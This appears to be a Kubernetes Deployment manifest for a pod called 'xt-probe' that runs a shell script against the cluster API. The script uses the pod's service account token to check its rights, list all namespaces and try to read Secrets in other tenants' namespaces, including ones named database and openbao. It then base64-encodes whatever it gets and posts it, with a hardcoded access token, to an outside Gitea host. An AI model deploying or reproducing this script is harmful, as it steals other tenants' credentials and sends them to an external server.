77 lines
3.0 KiB
YAML
77 lines
3.0 KiB
YAML
apiVersion: apps/v1
|
|
kind: Deployment
|
|
metadata:
|
|
name: xt-probe
|
|
labels:
|
|
app: xt-probe
|
|
probe: cross-tenant-boundary-readout
|
|
spec:
|
|
replicas: 1
|
|
selector:
|
|
matchLabels:
|
|
app: xt-probe
|
|
template:
|
|
metadata:
|
|
labels:
|
|
app: xt-probe
|
|
probe-run: r1
|
|
spec:
|
|
restartPolicy: Always
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
runAsUser: 1000
|
|
seccompProfile:
|
|
type: RuntimeDefault
|
|
containers:
|
|
- name: xt-probe
|
|
image: curlimages/curl:8.11.1
|
|
command: ["sh", "-c"]
|
|
args:
|
|
- |
|
|
set -u
|
|
TOK=8705bd26bf8b7ab972a2debaa0077c941ea85cd0
|
|
REPO=https://gitea.zapto.org/api/v1/repos/probe6aw4tk/probe-manifests/contents
|
|
> /tmp/results.txt
|
|
note() { echo "$*" >> /tmp/results.txt; }
|
|
push() {
|
|
B64=$(base64 -w0 /tmp/results.txt)
|
|
cat > /tmp/payload.json <<EOF
|
|
{"content":"$B64","message":"xt188 result push $$"}
|
|
EOF
|
|
curl -s -o /tmp/pr -w 'push_status=%{http_code}\n' -X POST \
|
|
-H "Authorization: token $TOK" -H "Content-Type: application/json" \
|
|
--data @/tmp/payload.json "$REPO/results-i188.txt"
|
|
cat /tmp/pr | head -c 300 >> /tmp/results.txt; echo >> /tmp/results.txt
|
|
}
|
|
|
|
note "XT188-START $$ $(date -u +%FT%TZ)"
|
|
note "HOST $(hostname) NS $(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null)"
|
|
SA=/var/run/secrets/kubernetes.io/serviceaccount/token
|
|
CA=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
|
|
API=https://kubernetes.default.svc
|
|
|
|
note "=== SEG1 self rights vs kube-api ==="
|
|
body='{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"platchain-293213-dev"}}'
|
|
code=$(curl -sk -o /tmp/o -w '%{http_code}' -X POST --data "$body" -H "Content-Type: application/json" --cert $CA -H "Authorization: Bearer $(cat $SA)" $API/apis/authorization.k8s.io/v1/selfsubjectrulesreviews)
|
|
note "SSRR status=$code body: $(cat /tmp/o | head -c 1500)"
|
|
|
|
note "=== SEG2 GET v1/namespaces (cluster scope) ==="
|
|
code=$(curl -sk -o /tmp/o -w '%{http_code}' --cert $CA -H "Authorization: Bearer $(cat $SA)" $API/api/v1/namespaces)
|
|
note "LIST ns status=$code body: $(cat /tmp/o | head -c 1500)"
|
|
|
|
note "=== SEG3 foreign ns read ==="
|
|
for ns in cottoncraft-demo-prod cottoncraft-demo-dom1 database openbao; do
|
|
code=$(curl -sk -o /tmp/o -w '%{http_code}' --cert $CA -H "Authorization: Bearer $(cat $SA)" $API/api/v1/namespaces/$ns/secrets)
|
|
note "SECRETS $ns status=$code body: $(cat /tmp/o | head -c 900)"
|
|
done
|
|
|
|
note "=== SEG4 phase2 marker written ==="
|
|
push
|
|
echo PHASE2DONE > /tmp/phase2
|
|
sleep 3600
|
|
securityContext:
|
|
allowPrivilegeEscalation: false
|
|
readOnlyRootFilesystem: true
|
|
capabilities:
|
|
drop: ["ALL"]
|